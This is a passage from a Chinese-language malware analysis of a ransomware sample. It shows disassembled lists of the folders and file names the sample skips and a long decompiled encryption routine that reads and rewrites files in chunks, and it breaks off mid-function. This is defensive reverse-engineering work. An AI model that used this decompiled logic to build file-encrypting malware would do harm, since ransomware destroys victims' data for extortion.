.rdata:000000014005E8A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMicrosoftMpi&nbsp;;&nbsp;"Microsoft&nbsp;MPI"
.rdata:000000014005E8A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsKits&nbsp;&nbsp;;&nbsp;"Windows&nbsp;Kits"
.rdata:000000014005E8B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMicrosoftNet&nbsp;;&nbsp;"Microsoft.NET"
.rdata:000000014005E8B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsMail&nbsp;&nbsp;;&nbsp;"Windows&nbsp;Mail"
.rdata:000000014005E8C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMicrosoftSecur&nbsp;;&nbsp;"Microsoft&nbsp;Security&nbsp;Client"
.rdata:000000014005E8C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aPackageStore&nbsp;;&nbsp;"Package&nbsp;Store"
.rdata:000000014005E8D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMicrosoftAnaly&nbsp;;&nbsp;"Microsoft&nbsp;Analysis&nbsp;Services"
.rdata:000000014005E8D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsPortabl&nbsp;;&nbsp;"Windows&nbsp;Portable&nbsp;Devices"
.rdata:000000014005E8E0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsPhotoVi&nbsp;;&nbsp;"Windows&nbsp;Photo&nbsp;Viewer"
.rdata:000000014005E8E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsSidebar&nbsp;;&nbsp;"Windows&nbsp;Sidebar"

5.10 文件黑名单

下述文件名的文件将不会加密

.rdata:000000014005E8F0&nbsp;off_14005E8F0&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDesktopIni&nbsp;&nbsp;&nbsp;;&nbsp;DATA&nbsp;XREF:&nbsp;flor+278↑r
.rdata:000000014005E8F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"desktop.ini"
.rdata:000000014005E8F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNtuserDat&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"ntuser.dat"
.rdata:000000014005E900&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aThumbsDb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"thumbs.db"
.rdata:000000014005E908&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIconcacheDb&nbsp;&nbsp;;&nbsp;"iconcache.db"
.rdata:000000014005E910&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNtuserIni&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"ntuser.ini"
.rdata:000000014005E918&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNtldr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"ntldr"
.rdata:000000014005E920&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBootfontBin&nbsp;&nbsp;;&nbsp;"bootfont.bin"
.rdata:000000014005E928&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNtuserDatLog&nbsp;;&nbsp;"ntuser.dat.log"
.rdata:000000014005E930&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBootsectBak&nbsp;&nbsp;;&nbsp;"bootsect.bak"
.rdata:000000014005E938&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBootIni&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"boot.ini"
.rdata:000000014005E940&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAutorunInf&nbsp;&nbsp;&nbsp;;&nbsp;"autorun.inf"
.rdata:000000014005E948&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDebuglogTxt&nbsp;&nbsp;;&nbsp;"debugLog.txt"
.rdata:000000014005E950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;FileName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"TargetInfo.txt"

此外，木马在搜索逻辑的其他位置判断了不加密勒索信息。

img

5.11 文件加密核心

在函数sub_140007770中利用GetQueuedCompletionStatus获得待加密的文件信息，再调用函数140021F50进行文件加密。

void&nbsp;__fastcall&nbsp;encrypto_file(__int64&nbsp;a1)
{
&nbsp;&nbsp;__int64&nbsp;v2;&nbsp;//&nbsp;rbx
&nbsp;&nbsp;char&nbsp;v3;&nbsp;//&nbsp;cl
&nbsp;&nbsp;__int64&nbsp;v4;&nbsp;//&nbsp;r12
&nbsp;&nbsp;int&nbsp;v5;&nbsp;//&nbsp;r14d
&nbsp;&nbsp;__int64&nbsp;v6;&nbsp;//&nbsp;r15
&nbsp;&nbsp;__int64&nbsp;v7;&nbsp;//&nbsp;rdx
&nbsp;&nbsp;__int64&nbsp;v8;&nbsp;//&nbsp;rdi
&nbsp;&nbsp;char&nbsp;*v9;&nbsp;//&nbsp;r13
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v10;&nbsp;//&nbsp;r15d
&nbsp;&nbsp;DWORD&nbsp;v11;&nbsp;//&nbsp;r12d
&nbsp;&nbsp;int&nbsp;v12;&nbsp;//&nbsp;r14d
&nbsp;&nbsp;BOOL&nbsp;v13;&nbsp;//&nbsp;r15d
&nbsp;&nbsp;DWORD&nbsp;LastError;&nbsp;//&nbsp;eax
&nbsp;&nbsp;_QWORD&nbsp;*v15;&nbsp;//&nbsp;r8
&nbsp;&nbsp;__int64&nbsp;v16;&nbsp;//&nbsp;rax
&nbsp;&nbsp;__int64&nbsp;v17;&nbsp;//&nbsp;rbx
&nbsp;&nbsp;__int64&nbsp;v18;&nbsp;//&nbsp;r14
&nbsp;&nbsp;__int64&nbsp;v19;&nbsp;//&nbsp;r13
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v20;&nbsp;//&nbsp;edx
&nbsp;&nbsp;__int64&nbsp;v21;&nbsp;//&nbsp;rcx
&nbsp;&nbsp;__int64&nbsp;v22;&nbsp;//&nbsp;rdi
&nbsp;&nbsp;__int64&nbsp;v23;&nbsp;//&nbsp;r14
&nbsp;&nbsp;__int64&nbsp;v24;&nbsp;//&nbsp;rdx
&nbsp;&nbsp;__int64&nbsp;v25;&nbsp;//&nbsp;rbx
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v26;&nbsp;//&nbsp;r12d
&nbsp;&nbsp;char&nbsp;*v27;&nbsp;//&nbsp;r14
&nbsp;&nbsp;DWORD&nbsp;v28;&nbsp;//&nbsp;r15d
&nbsp;&nbsp;int&nbsp;v29;&nbsp;//&nbsp;edi
&nbsp;&nbsp;DWORD&nbsp;v30;&nbsp;//&nbsp;eax
&nbsp;&nbsp;_QWORD&nbsp;*v31;&nbsp;//&nbsp;r8
&nbsp;&nbsp;__int64&nbsp;*v32;&nbsp;//&nbsp;r8
&nbsp;&nbsp;void&nbsp;*v33;&nbsp;//&nbsp;rcx
&nbsp;&nbsp;__int64&nbsp;v34;&nbsp;//&nbsp;rax
&nbsp;&nbsp;__int64&nbsp;*v35;&nbsp;//&nbsp;r8
&nbsp;&nbsp;__int64&nbsp;*v36;&nbsp;//&nbsp;r8
&nbsp;&nbsp;char&nbsp;v37;&nbsp;//&nbsp;[rsp+30h]&nbsp;[rbp-39h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v38;&nbsp;//&nbsp;[rsp+34h]&nbsp;[rbp-35h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v39;&nbsp;//&nbsp;[rsp+38h]&nbsp;[rbp-31h]
&nbsp;&nbsp;__int64&nbsp;v40;&nbsp;//&nbsp;[rsp+50h]&nbsp;[rbp-19h]
&nbsp;&nbsp;DWORD&nbsp;NumberOfBytesWritten;&nbsp;//&nbsp;[rsp+58h]&nbsp;[rbp-11h]&nbsp;BYREF
&nbsp;&nbsp;DWORD&nbsp;NumberOfBytesRead;&nbsp;//&nbsp;[rsp+5Ch]&nbsp;[rbp-Dh]&nbsp;BYREF
&nbsp;&nbsp;__int64&nbsp;v43[3];&nbsp;//&nbsp;[rsp+60h]&nbsp;[rbp-9h]&nbsp;BYREF
&nbsp;&nbsp;unsigned&nbsp;__int64&nbsp;v44;&nbsp;//&nbsp;[rsp+78h]&nbsp;[rbp+Fh]
&nbsp;&nbsp;__int64&nbsp;v45;&nbsp;//&nbsp;[rsp+80h]&nbsp;[rbp+17h]&nbsp;BYREF
&nbsp;&nbsp;__int64&nbsp;v46;&nbsp;//&nbsp;[rsp+88h]&nbsp;[rbp+1Fh]&nbsp;BYREF

&nbsp;&nbsp;v2&nbsp;=&nbsp;*(a1&nbsp;+&nbsp;1128);
&nbsp;&nbsp;v39&nbsp;=&nbsp;*(a1&nbsp;+&nbsp;1136);
&nbsp;&nbsp;v3&nbsp;=&nbsp;1;
&nbsp;&nbsp;v37&nbsp;=&nbsp;1;
&nbsp;&nbsp;if&nbsp;(&nbsp;*(a1&nbsp;+&nbsp;1184)&nbsp;<=&nbsp;*(a1&nbsp;+&nbsp;1192)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;return;
LABEL_2:
&nbsp;&nbsp;if&nbsp;(&nbsp;!v3&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;sub_140050D90(*(*(a1&nbsp;+&nbsp;1120)&nbsp;+&nbsp;8i64),&nbsp;0i64,&nbsp;*(*(a1&nbsp;+&nbsp;1120)&nbsp;+&nbsp;16i64)&nbsp;-&nbsp;*(*(a1&nbsp;+&nbsp;1120)&nbsp;+&nbsp;8i64));
&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_1400227D0(a1,&nbsp;*(a1&nbsp;+&nbsp;1192),&nbsp;0i64,&nbsp;0i64)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;v4&nbsp;=&nbsp;*(a1&nbsp;+&nbsp;1184)&nbsp;-&nbsp;*(a1&nbsp;+&nbsp;1192);
&nbsp;&nbsp;if&nbsp;(&nbsp;v4&nbsp;<&nbsp;16&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;v5&nbsp;=&nbsp;v2;
&nbsp;&nbsp;if&nbsp;(&nbsp;v4&nbsp;>=&nbsp;v2&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v4&nbsp;=&nbsp;v2;
&nbsp;&nbsp;}
&nbsp;&nbsp;else
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v2&nbsp;=&nbsp;*(a1&nbsp;+&nbsp;1184)&nbsp;-&nbsp;*(a1&nbsp;+&nbsp;1192);
&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;=&nbsp;*(a1&nbsp;+&nbsp;1184)&nbsp;-&nbsp;*(a1&nbsp;+&nbsp;1192);
&nbsp;&nbsp;}
&nbsp;&nbsp;v40&nbsp;=&nbsp;v4;
&nbsp;&nbsp;v6&nbsp;=&nbsp;*(a1&nbsp;+&nbsp;1120);
&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_1400227D0(a1,&nbsp;0i64,&nbsp;1i64,&nbsp;&v45)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_60;
&nbsp;&nbsp;v7&nbsp;=&nbsp;v45;
&nbsp;&nbsp;v8&nbsp;=&nbsp;v45;
&nbsp;&nbsp;v38&nbsp;=&nbsp;0;
&nbsp;&nbsp;NumberOfBytesRead&nbsp;=&nbsp;0;
&nbsp;&nbsp;v9&nbsp;=&nbsp;*(v6&nbsp;+&nbsp;8);
&nbsp;&nbsp;v10&nbsp;=&nbsp;0;
&nbsp;&nbsp;if&nbsp;(&nbsp;v5&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v11&nbsp;=&nbsp;v2&nbsp;-&nbsp;v10;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_1400227D0(a1,&nbsp;v7,&nbsp;0i64,&nbsp;0i64)&nbsp;||&nbsp;*(a1&nbsp;+&nbsp;1088)&nbsp;==&nbsp;-1i64&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v12&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;ReadFile(*(a1&nbsp;+&nbsp;1088),&nbsp;v9,&nbsp;v11,&nbsp;&NumberOfBytesRead,&nbsp;0i64);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LastError&nbsp;=&nbsp;GetLastError();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v13&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;(a1&nbsp;+&nbsp;1056);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;*(a1&nbsp;+&nbsp;1080)&nbsp;>&nbsp;7ui64&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;*v15;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_140021E10(a1,&nbsp;L"%s:&nbsp;ReadFile&nbsp;code:&nbsp;%lu",&nbsp;v15,&nbsp;LastError);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(0xAu);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;++v12&nbsp;>=&nbsp;50&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_60;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;NumberOfBytesRead;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(a1&nbsp;+&nbsp;1112)&nbsp;+=&nbsp;NumberOfBytesRead;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;v16&nbsp;+&nbsp;v38;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v38&nbsp;=&nbsp;v10;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v9&nbsp;+=&nbsp;v16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v10&nbsp;>=&nbsp;v2&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v4&nbsp;=&nbsp;v40;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_21;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;v45;
&nbsp;&nbsp;&nbsp;&nbsp;}
LABEL_60:
&nbsp;&nbsp;&nbsp;&nbsp;sub_1400122A0(v43,&nbsp;a1&nbsp;+&nbsp;1056);
&nbsp;&nbsp;&nbsp;&nbsp;v36&nbsp;=&nbsp;v43;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v44&nbsp;>&nbsp;7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v36&nbsp;=&nbsp;v43[0];
&nbsp;&nbsp;&nbsp;&nbsp;sub_140021E10(a1,&nbsp;L"Read&nbsp;Error:&nbsp;%s",&nbsp;v36);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v44&nbsp;>&nbsp;7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v33&nbsp;=&nbsp;v43[0];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;2&nbsp;*&nbsp;v44&nbsp;+&nbsp;2&nbsp;>=&nbsp;0x1000&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v33&nbsp;=&nbsp;*(v43[0]&nbsp;-&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;(v43[0]&nbsp;-&nbsp;v33&nbsp;-&nbsp;8)&nbsp;>&nbsp;0x1F&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;invalid_parameter_noinfo_noreturn();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
LABEL_65:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j_j_free(v33);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;}
LABEL_21:
&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_1400227D0(a1,&nbsp;v8,&nbsp;0i64,&nbsp;0i64)&nbsp;||&nbsp;!v10&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_60;
&nbsp;&nbsp;v17&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;v18&nbsp;=&nbsp;*(*(a1&nbsp;+&nbsp;1120)&nbsp;+&nbsp;8i64);
&nbsp;&nbsp;v19&nbsp;=&nbsp;v10;
&nbsp;&nbsp;v20&nbsp;=&nbsp;v39;
&nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v21&nbsp;=&nbsp;v4&nbsp;-&nbsp;v17;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v4&nbsp;-&nbsp;v17&nbsp;<&nbsp;16&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v21&nbsp;>=&nbsp;v20&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LODWORD(v21)&nbsp;=&nbsp;v20;
&nbsp;&nbsp;&nbsp;&nbsp;v39&nbsp;=&nbsp;v21;
&nbsp;&nbsp;&nbsp;&nbsp;v22&nbsp;=&nbsp;v21;
&nbsp;&nbsp;&nbsp;&nbsp;v37&nbsp;=&nbsp;(*(*a1&nbsp;+&nbsp;16i64))(a1,&nbsp;v18,&nbsp;v21);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!v37&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_31;
&nbsp;&nbsp;&nbsp;&nbsp;v17&nbsp;+=&nbsp;v22;
&nbsp;&nbsp;&nbsp;&nbsp;v18&nbsp;+=&nbsp;v22;
&nbsp;&nbsp;&nbsp;&nbsp;v20&nbsp;=&nbsp;v22;
&nbsp;&nbsp;&nbsp;&nbsp;v39&nbsp;=&nbsp;v22;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v17&nbsp;>=&nbsp;v10&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v39&nbsp;=&nbsp;v22;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_31;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;sub_140021E10(a1,&nbsp;L"chunk_temp&nbsp;lower&nbsp;than&nbsp;...");
LABEL_31:
&nbsp;&nbsp;if&nbsp;(&nbsp;sub_1400227D0(a1,&nbsp;*(a1&nbsp;+&nbsp;1192),&nbsp;0i64,&nbsp;0i64)&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v23&nbsp;=&nbsp;*(a1&nbsp;+&nbsp;1120);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;sub_1400227D0(a1,&nbsp;0i64,&nbsp;1i64,&nbsp;&v46)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v24&nbsp;=&nbsp;v46;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v25&nbsp;=&nbsp;v46;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v26&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumberOfBytesWritten&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v27&nbsp;=&nbsp;*(v23&nbsp;+&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v28&nbsp;=&nbsp;v10&nbsp;-&nbsp;v26;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_1400227D0(a1,&nbsp;v24,&nbsp;0i64,&nbsp;0i64)&nbsp;||&nbsp;*(a1&nbsp;+&nbsp;1088)&nbsp;==&nbsp;-1i64&nbsp;||&nbsp;!v27&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v29&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;!WriteFile(*(a1&nbsp;+&nbsp;1088),&nbsp;v27,&nbsp;v28,&nbsp;&NumberOfBytesWritten,&nbsp;0i64)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v30&nbsp;=&nbsp;GetLastError();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v31&nbsp;=&nbsp;(a1&nbsp;+&nbsp;1056);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;*(a1&nbsp;+&nbsp;1080)&nbsp;>&nbsp;7ui64&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v31&nbsp;=&nbsp;*v31;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_140021E10(a1,&nbsp;L"%s:&nbsp;WriteFile&nbsp;code:&nbsp;%lu",&nbsp;v31,&nbsp;v30);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(0xAu);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;++v29&nbsp;>=&nbsp;50&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_42;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v34&nbsp;=&nbsp;NumberOfBytesWritten;
